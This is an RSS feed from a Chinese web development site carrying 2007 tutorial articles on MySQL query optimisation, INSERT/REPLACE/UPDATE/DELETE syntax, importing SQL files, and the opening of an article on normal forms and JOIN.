<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
	<channel>
		<title>金麦网络</title>
		<link>http://www.kingmx.com</link>
		<copyright>Copyright (C) 2006 金麦网络-Kingmx.com All Rights Reserved.</copyright>
		<item>
			<title>MySQL优化技巧</title>
			<link>http://www.kingmx.com/article.php?id=17781</link>
			<pubDate>2007-9-18</pubDate>
			<description><![CDATA[
在一些情况下，MySQL可以直接使用索引来满足一个 ORDER BY 或 GROUP BY 子句而无需做额外的排序。 

尽管 ORDER BY 不是和索引的顺序准确匹配，索引还是可以被用到，只要不用的索引部分和所有的额外的 ORDER BY 字段在 WHERE 子句中都被包括了。下列的几个查询都会使用索引来解决 ORDER BY 或 GROUP BY 部分： 

SELECT * FROM t1 ORDER BY key_part1,key_part2,... ; 

SELECT * FROM t1 WHERE key_part1=constant ORDER BY key_part2; 

SELECT * FROM t1 WHERE key_part1=constant GROUP BY key_part2; 

SELECT * FROM t1 ORDER BY key_part1 DESC, key_part2 DESC; 

SELECT * FROM t1 

WHERE key_part1=1 ORDER BY key_part1 DESC, key_part2 DESC; 

在另一些情况下，MySQL无法使用索引来满足 ORDER BY，尽管它会使用索引来找到记录来匹配 WHERE 子句。这些情况如下： 

对不同的索引键做 ORDER BY ： 

SELECT * FROM t1 ORDER BY key1, key2; 

在非连续的索引键部分上做 ORDER BY： 

SELECT * FROM t1 WHERE key2=constant ORDER BY key_part2; 

同时使用了 ASC 和 DESC： 

SELECT * FROM t1 ORDER BY key_part1 DESC, key_part2 ASC; 

用于搜索记录的索引键和做 ORDER BY 的不是同一个： 

SELECT * FROM t1 WHERE key2=constant ORDER BY key1; 

有很多表一起做连接，而且读取的记录中在 ORDER BY 中的字段都不全是来自第一个非常数的表中（也就是说，在 EXPLAIN 分析的结果中的第一个表的连接类型不是 const）。 

使用了不同的 ORDER BY 和 GROUP BY 表达式。 

表索引中的记录不是按序存储。例如，HASH 和 HEAP 表就是这样。 

通过执行 EXPLAIN SELECT ... ORDER BY，就知道MySQL是否在查询中使用了索引。如果 Extra 字段的值是 Using filesort，则说明MySQL无法使用索引。详情请看"7.2.1 EXPLAIN Syntax (Get Information About a SELECT)"。 

当必须对结果进行排序时，MySQL 4.1 以前它使用了以下 filesort 算法： 

根据索引键读取记录，或者扫描数据表。那些无法匹配 WHERE 分句的记录都会被略过。 

在缓冲中每条记录都用一个‘对’存储了2个值（索引键及记录指针）。缓冲的大小依据系统变量 sort_buffer_size 的值而定。 

当缓冲慢了时，就运行 qsort（快速排序）并将结果存储在临时文件中。将存储的块指针保存起来（如果所有的‘对’值都能保存在缓冲中，就无需创建临时文件了）。 

执行上面的操作，直到所有的记录都读取出来了。 

做一次多重合并，将多达 MERGEBUFF（7）个区域的块保存在另一个临时文件中。重复这个操作，直到所有在第一个文件的块都放到第二个文件了。 

重复以上操作，直到剩余的块数量小于 MERGEBUFF2 (15)。 

在最后一次多重合并时，只有记录的指针（排序索引键的最后部分）写到结果文件中去。 

通过读取结果文件中的记录指针来按序读取记录。想要优化这个操作，MySQL将记录指针读取放到一个大的块里，并且使用它来按序读取记录，将记录放到缓冲中。缓冲的大小由系统变量 read_rnd_buffer_size 的值而定。这个步骤的代码在源文件 `sql/records.cc' 中。 

这个逼近算法的一个问题是，数据库读取了2次记录：一次是估算 WHERE 分句时，第二次是排序时。尽管第一次都成功读取记录了（例如，做了一次全表扫描），第二次是随机的读取（索引键已经排好序了，但是记录并没有）。 

在MySQL 4.1 及更新版本中，filesort 优化算法用于记录中不只包括索引键值和记录的位置，还包括查询中要求的字段。这么做避免了需要2次读取记录。改进的 filesort 算法做法大致如下： 

跟以前一样，读取匹配 WHERE 分句的记录。 

相对于每个记录，都记录了一个对应的；‘元组’信息信息，包括索引键值、记录位置、以及查询中所需要的所有字段。 

根据索引键对‘元组’信息进行排序。 

按序读取记录，不过是从已经排序过的‘元组’列表中读取记录，而非从数据表中再读取一次。 

使用改进后的 filesort 算法相比原来的，‘元组’比‘对’需要占用更长的空间，它们很少正好适合放在排序缓冲中（缓冲的大小是由 sort_buffer_size 的值决定的）。因此，这就可能需要有更多的I/O操作，导致改进的算法更慢。为了避免使之变慢，这种优化方法只用于排序‘元组’中额外的字段的大小总和超过系统变量 max_length_for_sort_data 的情况（这个变量的值设置太高的一个表象就是高磁盘负载低CPU负载）。

想要提高 ORDER BY 的速度，首先要看MySQL能否使用索引而非额外的排序过程。如果不能使用索引，可以试着遵循以下策略： 

增加 sort_buffer_size 的值。 

增加 read_rnd_buffer_size 的值。 

修改 tmpdir，让它指向一个有很多剩余空间的专用文件系统。如果使用MySQL 4.1或更新，这个选项允许有多个路径用循环的格式。各个路径之间在 Unix 上用冒号（':'）分隔开来，在 Windows，NetWare以及OS/2 上用分号（';'）。可以利用这个特性将负载平均分摊给几个目录。注意：这些路径必须是分布在不同物理磁盘上的目录，而非在同一个物理磁盘上的不同目录。 

默认情况下，MySQL也会对所有的 GROUP BY col1, col2, ... 查询做排序，跟 ORDER BY col1, col2, ... 查询一样。如果显式地包含一个有同样字段列表的 ORDER BY 分句，MySQL优化它的时候并不会损失速度，因为排序总是会发生。如果一个查询中包括 GROUP BY，但是想要避免对结果排序的开销，可以通过使用 ORDER BY NULL 来取消排序。例如： 

INSERT INTO foo 

SELECT a, COUNT(*) FROM bar GROUP BY a ORDER BY NULL; 

7.2.10 MySQL 如何优化 LIMIT 

在一些情况下，MySQL在碰到一个使用 LIMIT row_count 但没使用 HAVING 

的查询时会做不同的处理： 

如果只是用 LIMIT 来取得很少的一些记录， MySQL 有时会使用索引，但是更通常的情况是做一个全表扫描。 

如果 LIMIT row_count 和 ORDER BY 一起使用，则MySQL在找到 row_count 条记录后就会停止排序了，而非对整个表进行排序。 

当 LIMIT row_count 和 DISTINCT 一起联合起来时，MySQL在找到 row_count 条唯一记录后就不再搜索了。 

在某些情况下， GROUP BY 可以通过按照顺序读取索引键来实现（或者在索引键上做排序）并且计算累计信息直到索引键改变了。在这种情况下，LIMIT row_count 不会计算任何非必须的 GROUP BY 值。 

一旦MySQL将请求的记录全数发送给客户端后，它就中止查询除非使用了 SQL_CALC_FOUND_ROWS。 

LIMIT 0 总是返回一个空的结果集。这对于检查查询或者取得结果字段的类型非常有用。 

当服务器使用临时表来处理查询，则 LIMIT row_count 可以用来计算需要多少空间。 

7.2.11 如何避免全表扫描 

如果MySQL需要做一次全表扫描来处理查询时，在 EXPLAIN 的结果中 type 字段的值是 ALL。在以下几种条件下，MySQL就会做全表扫描： 

数据表是在太小了，做一次全表扫描比做索引键的查找来得快多了。当表的记录总数小于10且记录长度比较短时通常这么做。 

没有合适用于 ON 或 WHERE 分句的索引字段。 

让索引字段和常量值比较，MySQL已经计算（基于索引树）到常量覆盖了数据表的很大部分，因此做全表扫描应该会来得更快。详情请看"7.2.4 How MySQL Optimizes WHERE Clauses"。 

通过其他字段使用了一个基数很小（很多记录匹配索引键值）的索引键。这种情况下，MySQL认为使用索引键需要大量查找，还不如全表扫描来得更快。 

对于小表来说，全表扫描通常更合适。但是对大表来说，尝试使用以下技术来避免让优化程序错误地选择全表扫描： 

执行 ANALYZE TABLE tbl_name 更新要扫描的表的索引键分布。详情请看"14.5.2.1 ANALYZE TABLE Syntax"。 

使用 FORCE INDEX 告诉MySQL，做全表扫描的话会比利用给定的索引更浪费资源。详情请看"14.1.7 SELECT Syntax"。 

SELECT * FROM t1, t2 FORCE INDEX (index_for_column) 

WHERE t1.col_name=t2.col_name; 

启动 mysqld 时使用参数 --max-seeks-for-key=1000 或者执行 SET max_seeks_for_key=1000 来告诉优化程序，所有的索引都不会导致超过1000次的索引搜索。请查看章节"5.2.3 Server System Variables"。

&nbsp;

7.2.12 加速 INSERT 

插入一条记录花费的时间由以下几个因素决定，后面的数字大致表示影响的比例： 

连接：（3） 

发送查询给服务器：（2） 

解析查询：（2） 

插入记录：（1 x 记录大小） 

插入索引：（1 x 索引数量） 

关闭：（1） 

这里并没有考虑初始化时打开数据表的开销，因为每次运行查询只会做这么一次。 

如果是 B-tree 索引的话，随着索引数量的增加，插入记录的速度以 log N 的比例下降。 

可以使用以下几种方法来提高插入速度： 

如果要在同一个客户端在同一时间内插入很多记录，可以使用 INSERT 语句附带有多个 VALUES 值。这种做法比使用单一值的 INSERT 语句快多了（在一些情况下比较快）。如果是往一个非空的数据表里增加记录，可以调整变量 bulk_insert_buffer_size 的值使之更快。详情请看"5.2.3 Server System Variables"。 

如果要从不同的客户端中插入大量记录，使用 INSERT DELAYED 语句也可以提高速度。详情请看"14.1.4 INSERT Syntax"。 

对 MyISAM 而言，可以在 SELECT 语句正在运行时插入记录，只要这时候没有正在删除记录。 

想要将一个文本文件加载到数据表中，可以使用 LOAD DATA INFILE。这通常是使用大量 INSERT 语句的20倍。详情请看"14.1.5 LOAD DATA INFILE Syntax"。 

通过一些额外的工作，就可能让 LOAD DATA INFILE 在数据表有大量索引的情况下运行的更快。步骤如下： 

用 CREATE TABLE 随便创建一个表。 

执行 FLUSH TABLES 语句或 mysqladmin flush-tables 命令。 

执行 myisamchk --keys-used=0 -rq /path/to/db/tbl_name 命令，删掉数据表的所有索引。 

执行 LOAD DATA INFILE，数据插入到表中，由于无需更新表索引，因此这将非常快。 

如果将来只是读取改表，运行 myisampack 让数据表变得更小点。详情查看"15.1.3.3 Compressed Table Characteristics"。 

运行 myisamchk -r -q /path/to/db/tbl_name 重建索引。创建的索引树在写入磁盘前先保存在内存中，这省去了磁盘搜索，因此速度快多了。重建后的索引树分布非常均衡。 

执行 FLUSH TABLES 语句或 mysqladmin flush-tables 命令。 

注意，LOAD DATA INFILE 将数据插入一个空表时，也会做前接优化；主要的不同在于：运行 myisamchk 会分配更多的临时内存用于创建索引，而执行 LOAD DATA INFILE 命令则是让数据库服务器分配内存用于重建索引。从 MySQL 4.0 起，可以运行 ALTER TABLE tbl_name DISABLE KEYS 来代替 myisamchk --keys-used=0 -rq /path/to/db/tbl_name，运行 ALTER TABLE tbl_name ENABLE KEYS 代替 myisamchk -r -q /path/to/db/tbl_name。这么做就可以省去 FLUSH TABLES 步骤。

&nbsp;

可以在锁表后，一起执行几个语句来加速 INSERT 操作： 

LOCK TABLES a WRITE; 

INSERT INTO a VALUES (1,23),(2,34),(4,33); 

INSERT INTO a VALUES (8,26),(6,29); 

UNLOCK TABLES; 

这对性能提高的好处在于：直到所有的 INSERT 语句都完成之后，索引缓存一次性刷新到磁盘中。通常情况是，多有少次 INSERT 语句就会有多数次索引缓存刷新到磁盘中的开销。如果能在一个语句中一次性插入多个值的话，显示的锁表操作也就没必要了。对事务表而言，用 BEGIN/COMMIT 代替 LOCK TABLES 来提高速度。锁表也回降低多次连接测试的总时间，尽管每个独立连接为了等待锁的最大等待时间也会增加。例如： 

Connection 1 does 1000 inserts 

Connections 2, 3, and 4 do 1 insert 

Connection 5 does 1000 inserts 

如果没有锁表，则连接2，3，4会在1，5之前就做完了。如果锁表了，则连接2，3，4可能在1，5之后才能完成，但是总时间可能只需要40%。MySQL的 INSERT, UPDATE, DELETE 操作都非常快，不过在一个语句中如果有超过5个插入或者更新时最好加锁以得到更好的性能。如果要一次性做很多个插入，最好是在每个循环（大约1000次）的前后加上 LOCK TABLES 和 UNLOCK TABLES，从而让其他进程也能访问数据表;这么做性能依然不错。INSERT 总是比 LOAD DATA INFILE 插入数据来得慢，因为二者的实现策略有着分明的不同。 

想要让 MyISAM 表更快，在 LOAD DATA 

INFILE 和 INSERT 时都可以增加系统变量 key_buffer_size 的值，详情请看"7.5.2 Tuning Server Parameters"。 

7.2.13 加速 UPDATE 

UPDATE 语句的优化和 SELECT 一样，只不过它多了额外的写入开销。写入的开销取决于要更新的记录数以及索引数。如果索引没有发生变化，则就无需更新。 

另一个提高更新速度的办法是推迟更新并且把很多次更新放在后面一起做。如果锁表了，那么同时做很多次更新比分别做更新来得快多了。 

注意，如果是在 MyISAM 表中使用了动态的记录格式，那么记录被更新为更长之后就可能会被拆分。如果经常做这个，那么偶尔做一次 OPTIMIZE TABLE 就显得非常重要了。详情请看"14.5.2.5 OPTIMIZE TABLE Syntax"。 

7.2.14 加速 DELETE 

删除单个记录的时间和它的索引个数几乎成正比。想更快地删除记录，可以增加索引键的缓存。详情请看"7.5.2 Tuning Server Parameters"。 

如果想要删除数据表的所有记录，请使用 TRUNCATE TABLE tbl_name 而不是 DELETE FROM tbl_name。详情请看"14.1.9 TRUNCATE Syntax"。 

7.2.15 其他优化点子 

本章节列出了一些改善查询处理速度的其他点子： 

使用永久连接到数据库，避免连接的开销。如果需要初始化很多连接，而又不能用永久连接，那么可以修改变量 thread_cache_size 的值，详情请看"7.5.2 Tuning Server Parameters"。 

总是检查查询是否利用了表中已有的索引。在MySQL中，可以用 EXPLAIN 语句来分析。详情请看"7.2.1 EXPLAIN Syntax (Get Information About a SELECT)"。 

尽量不要在经常需要更新的 MyISAM 表上用太过复杂的 SELECT 语句，这是为了避免在读和写之间争夺锁。 

在 MyISAM 表中，如果没有正在删除记录，则可以在其他查询正在读取数据的同时插入记录。如果这种情况十分重要，那么就要尽量在表没有删除记录时才使用表。另一个可能的办法就是在删除一大堆记录之后执行 OPTIMIZE TABLE 语句。 

如果总是需要按照 expr1, expr2, ... 的顺序取得记录，那么请使用 ALTER TABLE ... ORDER BY expr1, expr2, ... 修改表。通过这种方法扩充修改表之后，就可能获得更高的性能表现。 

在一些情况下，让一个字段类型是 ``hashed`` ，它基于其他字段信息。如果这个字段比较短而且基本上都是唯一值的话，那么就可能会比在几个字段上使用一个大索引来得更快，很简单的就能使用这样的额外字段，如下： 

SELECT * FROM tbl_name WHERE hash_col=MD5(CONCAT(col1,col2)) 

AND col1='constant' AND col2='constant'; 

如果 MyISAM 表经常大量修改，那么要尽量避免修改所有的变长字段（VARCHAR, BLOB，TEXT）。尽管表中只有一个变长字段，它也会采用动态记录格式的。详情请看"15 MySQL Storage Engines and Table Types"。 

通常情况下，当数据表记录变 ``大`` 之后，将表拆分成几个不同的表并没有多大用处。访问一条记录是最大的性能点在于磁盘搜索时找到记录的第一个字节上。只要找到记录的位置后，现在的大部分磁盘对于大部分的应用程序来说都能很快的读取到记录。将 MyISAM 表拆分成多个唯一有关系的情况是，数据表中动态格式的字段（见上）就可以被修改成固定大小的记录，或者需要频繁的扫描表，但是却不需要读取出大部分的字段。详情请看"15 MySQL Storage Engines and Table Types"。 

如果需要频繁的对一个表做基于很多字段信息的统计信息的话，那么可能新建一个表来存储这些实时更新的统计结果会更好。类似下面的更新就会非常快了： 

UPDATE tbl_name SET count_col=count_col+1 WHERE key_col=constant;如果只需要表级锁（多个读/一个写），那么采用 MyISAM 存储引擎就非常重要了，例如 MyISAM 和 ISAM 表。这在很多的数据库中也会有不错的性能表现，因为行级锁管理程序在这种情况下也基本上没什么用。 

如果需要从很大的日志表中搜集统计信息的话，可以用摘要表来代替扫描整个日志表。维护摘要表比保持 ``实时`` 的统计信息来得更快。当事情发生变化时（比如商业决策），重新建里摘要表比修改运营中的应用程序快多了。 

如果可能，最好是分类报告 ``实时`` 还是 ``统计`` 的，报告所需要的数据只需要来自摘要表，摘要表的信息则是周期的从实时数据中产生。 

应该认识到一个优点就是字段有默认值。当要插入的值和默认值不一致时才需要明确指定。这就省去了MySQL需要来提高插入速度这步了。 

在一些情况下，将数据组装存储在 BLOB 类型字段中更方便。那么在应用程序中就需要增加额外的命令来组装和拆开 BLOB 字段中的值，不过这么做在一些时候就可以节省很多存储开销。这在数据无需遵从 记录-和-字段 格式的表结构是很实用。

&nbsp;

通常地，应该保存所有的冗余数据（在数据库原理中叫做"第三范式"）。然而，为了能取得更高的效率复制一些信息或者创建摘要表也是划算的。 

存储过程或者 UDFs（用户定义函数） 的方式在执行一些任务时可能性能更高。尽管如此，当数据库不支持这些特性时，还是有其他的替代方法可以达到目的，即使它们有点慢。 

可以从查询缓存或应答中取得结果，然后将很多次的插入及更新操作放在一起做。如果数据库支持表锁（如MySQL和ORACLE），那么这就可以确保索引缓存在所有的更新操作之后只需要刷新一次。 

当不需要直到数据什么时候写入表中时，可以用 INSERT DELAYED。这就会提高速度，因为多条记录同时在一起做一次磁盘写入操作。 

当想让 SELECT 语句的优先级比插入操作还高时，用 INSERT LOW_PRIORITY。 

用 SELECT HIGH_PRIORITY 来使检索记录跳过队列，也就是说即使有其他客户端正要写入数据，也会先让 SELECT 执行完。 

在一条 INSERT 语句中采用多重记录插入格式（很多数据库都支持）。 

用 LOAD DATA INFILE 来导入大量数据，这比 INSERT 快。 

用 AUTO_INCREMENT 字段来生成唯一值。 

定期执行 OPTIMIZE TABLE 防止使用动态记录格式的 MyISAM 表产生碎片。详情请看"15.1.3 MyISAM Table Storage Formats"。 

采用 HEAP 表，它可能会提高速度。详情请看"15.1.3 MyISAM Table Storage Formats"。 

正常的WEB服务器配置中，图片文件最好以文件方式存储，只在数据库中保存文件的索引信息。这么做的原因是，通常情况下WEB服务器对于文件的缓存总是做的比数据库来得好，因此使用文件存储会让系统更容易变得更快。 

对于频繁访问的不是很重要的数据，可以保存在内存表中，例如对那些web客户端不能保存cookies时用于保存最后一次显示的标题等信息。 

在不同表中值相同的字段应该将它们声明为一样的类型。在 MySQL 3.23 之前，不这么做的话在表连接时就会比较慢。让字段名尽可能简单，例如，在一个叫做 customer 的表中，用 name 来代替 customer_name 作为字段名。为了让字段名在其他数据库系统中也能移植，应该保持在18个字符长度以内。 

如果需要真正的高速，建议看看各种数据库服务器支持的底层数据存储接口之间的区别。例如，通过直接访问MySQL的 MyISAM 存储引擎，会比通过其他的SQL接口快2-5倍。这要求数据必须和应用程序在同一个服务器上，并且它通常只被一个进程访问（因为外部文件锁确实慢）。只用一个进程就可以消除在MySQL服务器上引入底层的 MyISAM 指令引发的问题了（这容易获得更高性能，如果需要的话）。由于数据库接口设计的比较细心，就很容易支持这种优化方式了。 

如果使用数字型数据的话，在很多情况下想要访问数据库（使用在线连接）的信息会比采用文本文件来得快。由于数字型信息相比文本文件在数据库中存储的更加紧凑，因此访问时只需要更少的磁盘搜索。而且在应用程序中也可以节省代码，因为无需解析文本文件以找到对应的行和字段。 

数据库复制对一些操作会有性能上的益处。可以将客户端从多个复制服务器上取得数据，这就能将负载分摊了。为了避免备份数据时会让主服务器变慢，还可以将备份放在从服务器上。详情请看"6 Replication in MySQL"。 

定义 MyISAM 表时增加选项 DELAY_KEY_WRITE=1，这样的话就会另索引更新更快，因为只有等到数据表关闭了才会刷新磁盘。不过缺点是可能会在数据表还打开时服务器被杀死，可以使用参数 --myisam-recover 来保证数据的安全，或者在数据库重启前运行 myisamchk 命令（尽管如此，在这种情况下，使用 DELAY_KEY_WRITE 的话也不会丢失任何东西，因为索引总是可以从数据中重新生成）。

&nbsp;
]]></description>
		</item>
		<item>
			<title>INSERT和REPLACE</title>
			<link>http://www.kingmx.com/article.php?id=17780</link>
			<pubDate>2007-9-18</pubDate>
			<description><![CDATA[
INSERT和REPLACE语句的功能都是向表中插入新的数据。这两条语句的语法类似。它们的主要区别是如何处理重复的数据。

　　1. INSERT的一般用法

　　MySQL中的INSERT语句和标准的INSERT不太一样，在标准的SQL语句中，一次插入一条记录的INSERT语句只有一种形式。

　　INSERT INTO tablename(列名…) VALUES(列值);

　　而在MySQL中还有另外一种形式。

　　INSERT INTO tablename SET column_name1 = value1, column_name2 = value2，…;

　　第一种方法将列名和列值分开了，在使用时，列名必须和列值的数一致。如下面的语句向users表中插入了一条记录：

　　INSERT INTO users(id, name, age) VALUES(123, '姚明', 25);

　　第二种方法允许列名和列值成对出现和使用，如下面的语句将产生中样的效果。

　　INSERT INTO users SET id = 123, name = '姚明', age = 25;

　　如果使用了SET方式，必须至少为一列赋值。如果某一个字段使用了省缺值（如默认或自增值），这两种方法都可以省略这些字段。如id字段上使用了自增值，上面两条语句可以写成如下形式：

　　INSERT INTO users (name, age) VALUES('姚明',25);

　　INSERT INTO uses SET name = '姚明', age = 25;

　　MySQL在VALUES上也做了些变化。如果VALUES中什么都不写，那MySQL将使用表中每一列的默认值来插入新记录。

　　INSERT INTO users () VALUES();

　　如果表名后什么都不写，就表示向表中所有的字段赋值。使用这种方式，不仅在VALUES中的值要和列数一致，而且顺序不能颠倒。 INSERT INTO users VALUES(123, '姚明', 25);

　　如果将INSERT语句写成如下形式MySQL将会报错。

　　INSERT INTO users VALUES('姚明',25);

　　2. 使用INSERT插入多条记录

　　看到这个标题也许大家会问，这有什么好说的，调用多次INSERT语句不就可以插入多条记录了吗！但使用这种方法要增加服务器的负荷，因为，执行每一次SQL服务器都要同样对SQL进行分析、优化等操作。幸好MySQL提供了另一种解决方案，就是使用一条INSERT语句来插入多条记录。这并不是标准的SQL语法，因此只能在MySQL中使用。

　　INSERT INTO users(name, age)
　　VALUES('姚明', 25), ('比尔.盖茨', 50), ('火星人', 600);

　　上面的INSERT 语句向users表中连续插入了3条记录。值得注意的是，上面的INSERT语句中的VALUES后必须每一条记录的值放到一对(…)中，中间使用","分割。假设有一个表table1

　　CREATE TABLE table1(n INT)；

　　如果要向table1中插入5条记录，下面写法是错误的：

　　INSERT INTO table1 (i) VALUES(1,2,3,4,5);

　　MySQL将会抛出下面的错误

　　ERROR 1136: Column count doesn't match value count at row 1

　　而正确的写法应该是这样：

　　INSERT INTO t able1(i) VALUES(1),(2),(3),(4),(5);

　　当然，这种写法也可以省略列名，这样每一对括号里的值的数目必须一致，而且这个数目必须和列数一致。如：

　　INSERT INTO t able1 VALUES(1),(2),(3),(4),(5);

3. REPLACE语句

　　我们在使用数据库时可能会经常遇到这种情况。如果一个表在一个字段上建立了唯一索引，当我们再向这个表中使用已经存在的键值插入一条记录，那将会抛出一个主键冲突的错误。当然，我们可能想用新记录的值来覆盖原来的记录值。如果使用传统的做法，必须先使用DELETE语句删除原先的记录，然后再使用INSERT插入新的记录。而在MySQL中为我们提供了一种新的解决方案，这就是REPLACE语句。使用REPLACE插入一条记录时，如果不重复，REPLACE就和INSERT的功能一样，如果有重复记录，REPLACE就使用新记录的值来替换原来的记录值。

　　使用REPLACE的最大好处就是可以将DELETE和INSERT合二为一，形成一个原子操作。这样就可以不必考虑在同时使用DELETE和INSERT时添加事务等复杂操作了。

　　在使用REPLACE时，表中必须有唯一索引，而且这个索引所在的字段不能允许空值，否则REPLACE就和INSERT完全一样的。

　　在执行REPLACE后，系统返回了所影响的行数，如果返回1，说明在表中并没有重复的记录，如果返回2，说明有一条重复记录，系统自动先调用了DELETE删除这条记录，然后再记录用INSERT来插入这条记录。如果返回的值大于2，那说明有多个唯一索引，有多条记录被删除和插入。

　　REPLACE的语法和INSERT非常的相似，如下面的REPLACE语句是插入或更新一条记录。

　　REPLACE INTO users (id,name,age) VALUES(123, '赵本山', 50);
　
　　插入多条记录：

　　REPLACE INTO users(id, name, age)
　　VALUES(123, '赵本山', 50), (134,'Mary',15);

　　REPLACE也可以使用SET语句

　　REPLACE INTO users SET id = 123, name = '赵本山', age = 50;

　　上面曾提到REPLACE可能影响3条以上的记录，这是因为在表中有超过一个的唯一索引。在这种情况下，REPLACE将考虑每一个唯一索引，并对每一个索引对应的重复记录都删除，然后插入这条新记录。假设有一个table1表，有3个字段a, b, c。它们都有一个唯一索引。

　　CREATE TABLE table1(a INT NOT NULL UNIQUE,b INT NOT NULL UNIQUE,c INT NOT NULL UNIQUE);

　　假设table1中已经有了3条记录

　　a b c
　　1 1 1
　　2 2 2
　　3 3 3 

　　下面我们使用REPLACE语句向table1中插入一条记录。

　　REPLACE INTO table1(a, b, c) VALUES(1,2,3);

　　返回的结果如下

　　Query OK, 4 rows affected (0.00 sec)

　　在table1中的记录如下

　　a b c
　　1 2 3

　　我们可以看到，REPLACE将原先的3条记录都删除了，然后将（1, 2, 3）插入。 

　　二、UPDATE

　　UPDATE的功能是更新表中的数据。这的语法和INSERT的第二种用法相似。必须提供表名以及SET表达式，在后面可以加WHERE以限制更新的记录范围。

　　UPDATE table_anem SET column_name1 = value1, column_name2 = value2, ...

　　WHERE ... ;

　　如下面的语句将users表中id等于123的记录的age改为24

　　UPDATE users SET age = 24 WHERE id = 123;

　　同样，可以使用UPDATE更新多个字段的值 UPDATE users SET age = 24, name = 'Mike' WHERE id = 123;

　　上面的UPDATE语句通过WHERE指定一个条件，否则，UPDATE将更新表中的所有记录的值。

　　在使用UPDATE更新记录时，如果被更新的字段的类型和所赋的值不匹配时，MySQL将这个值转换为相应类型的值。如果这个字段是数值类型，而且所赋值超过了这个数据类型的最大范围，那么MySQL就将这个值转换为这个范围最大或最小值。如果字符串太长，MySQL就将多余的字符串截去。如果设置非空字段为空，那么将这个字段设置为它们的默认值，数字的默认值是0，字符串的默认值是空串（不是null，是""）。

有两种情况UPDATE不会对影响表中的数据。

　　1. 当WHERE中的条件在表中没有记录和它匹配时。

　　2. 当我们将同样的值赋给某个字段时，如将字段abc赋为'123'，而abc的原值就是'123'。

　　和INSERT、REPLACE一样，UPDATE也返回所更新的记录数。但这些记录数并不包括满足WHERE条件的，但却未被更新的记录。如下同的UPDATE语句就未更新任何记录。

　　UPDATE users SET age = 30 WHERE id = 12;
　　Query OK, 0 rows affected (0.00 sec)

　　需要注意的时，如果一个字段的类型是TIMESTAMP，那么这个字段在其它字段更新时自动更新。

　　在有些时候我们需要得到UPDATE所选择的行数，而不是被更新的行数。我们可以通过一些API来达到这个目的。如MySQL提供的C API提供了一个选项可以得到你想要的记录数。而MySQL的JDBC驱动得到的默认记录数也是匹配的记录数。

　　UPDATE和REPLACE基本类似，但是它们之间有两点不同。

　　1. UPDATE在没有匹配记录时什么都不做，而REPLACE在有重复记录时更新，在没有重复记录时插入。

　　2. UPDATE可以选择性地更新记录的一部分字段。而REPLACE在发现有重复记录时就将这条记录彻底删除，再插入新的记录。也就是说，将所有的字段都更新了。

　　三、DELETE和TRUNCATE TABLE

　　在MySQL中有两种方法可以删除数据，一种是DELETE语句，另一种是TRUNCATE TABLE语句。DELETE语句可以通过WHERE对要删除的记录进行选择。而使用TRUNCATE TABLE将删除表中的所有记录。因此，DELETE语句更灵活。

　　如果要清空表中的所有记录，可以使用下面的两种方法：

　　DELETE FROM table1
　　TRUNCATE TABLE table1

　　其中第二条记录中的TABLE是可选的。

　　如果要删除表中的部分记录，只能使用DELETE语句。

　　DELETE FROM table1 WHERE ...;

　　如果DELETE不加WHERE子句，那么它和TRUNCATE TABLE是一样的，但它们有一点不同，那就是DELETE可以返回被删除的记录数，而TRUNCATE TABLE返回的是0。

　　如果一个表中有自增字段，使用TRUNCATE TABLE和没有WHERE子句的DELETE删除所有记录后，这个自增字段将起始值恢复成1.如果你不想这样做的话，可以在DELETE语句中加上永真的WHERE，如WHERE 1或WHERE true。

　　DELETE FROM table1 WHERE 1;

　　上面的语句在执行时将扫描每一条记录。但它并不比较，因为这个WHERE条件永远为true。这样做虽然可以保持自增的最大值，但由于它是扫描了所有的记录，因此，它的执行成本要比没有WHERE子句的DELETE大得多。

　　DELETE和TRUNCATE TABLE的最大区别是DELETE可以通过WHERE语句选择要删除的记录。但执行得速度不快。而且还可以返回被删除的记录数。而TRUNCATE TABLE无法删除指定的记录，而且不能返回被删除的记录。但它执行得非常快。

　　和标准的SQL语句不同，DELETE支持ORDER BY和LIMIT子句，通过这两个子句，我们可以更好地控制要删除的记录。如当我们只想删除WHERE子句过滤出来的记录的一部分，可以使用LIMIB，如果要删除后几条记录，可以通过ORDER BY和LIMIT配合使用。假设我们要删除users表中name等于"Mike"的前6条记录。可以使用如下的DELETE语句：

　　DELETE FROM users WHERE name = 'Mike' LIMIT 6;

　　一般MySQL并不确定删除的这6条记录是哪6条，为了更保险，我们可以使用ORDER BY对记录进行排序。

　　DELETE FROM users WHERE name = 'Mike' ORDER BY id DESC LIMIT 6;
]]></description>
		</item>
		<item>
			<title>PhpMyAdmin中无法导入sql文件的解决办法</title>
			<link>http://www.kingmx.com/article.php?id=15213</link>
			<pubDate>2007-4-19</pubDate>
			<description><![CDATA[
如果用PHPMyAdmin工具或者mysqldump无法导入数据库文件，可以尝试一下以下方法：

在命令窗口:

mysql&gt;source d:\datafilename.sql
]]></description>
		</item>
		<item>
			<title>JOIN用法</title>
			<link>http://www.kingmx.com/article.php?id=15154</link>
			<pubDate>2007-3-22</pubDate>
			<description><![CDATA[
在我叙述JOIN的用法前，我先引用数据库设计中最常见的范式资料。

第三范式（3NF）：如果关系模式R（U，F）中的所有非主属性对任何候选关键字都不存在传递信赖，则称关系R是属于第三范式的。 

例：如S1（SNO，SNAME，DNO，DNAME，LOCATION） 各属性分别代表学号，姓名，所在系，系名称，系地址。 

关键字SNO决定各个属性。由于是单个关键字，没有部分依赖的问题，肯定是2NF。但这关系肯定有大量的冗余，有关学生所在的几个属性DNO，DNAME，LOCATION将重复存储，插入，删除和修改时也将产生类似以上例的情况。 

原因：关系中存在传递依赖造成的。由于SNAME和DNO是依赖SNO，而DNAME和LOCATION是依赖DNO的，即通过一个学号可以知道该学生的姓名以及他所在系代码，但无法由学号知道系地址，学号和系地址间是通过学号所对应的学生的所在系关联的， 因此关键字 SNO 对 LOCATION 函数决定是通过传递依赖 DNO -&gt; LOCATION 实现的。也就是说，SNO不直接决定非主属性LOCATION。 

解决目地：每个关系模式中不能留有传递依赖。 

解决方法：分为两个关系 S（SNO，SNAME，DNO），D（DNO，DNAME，LOCATION） 

注意：关系S中不能没有外关键字DNO。否则两个关系之间失去联系。

在数据库的设计过程中常常按照第三范式来设计数据库，当然在有些场合为优化数据库的性能而增加了相关冗余字段以使表的结构不符合3NF，在多数场合中，没有一张表能完整的发挥客户所需要的结果集。这样就需要通过联接多张在逻辑上存在依赖关系的表，选择你所需要的数据。&nbsp;&nbsp;&nbsp; 

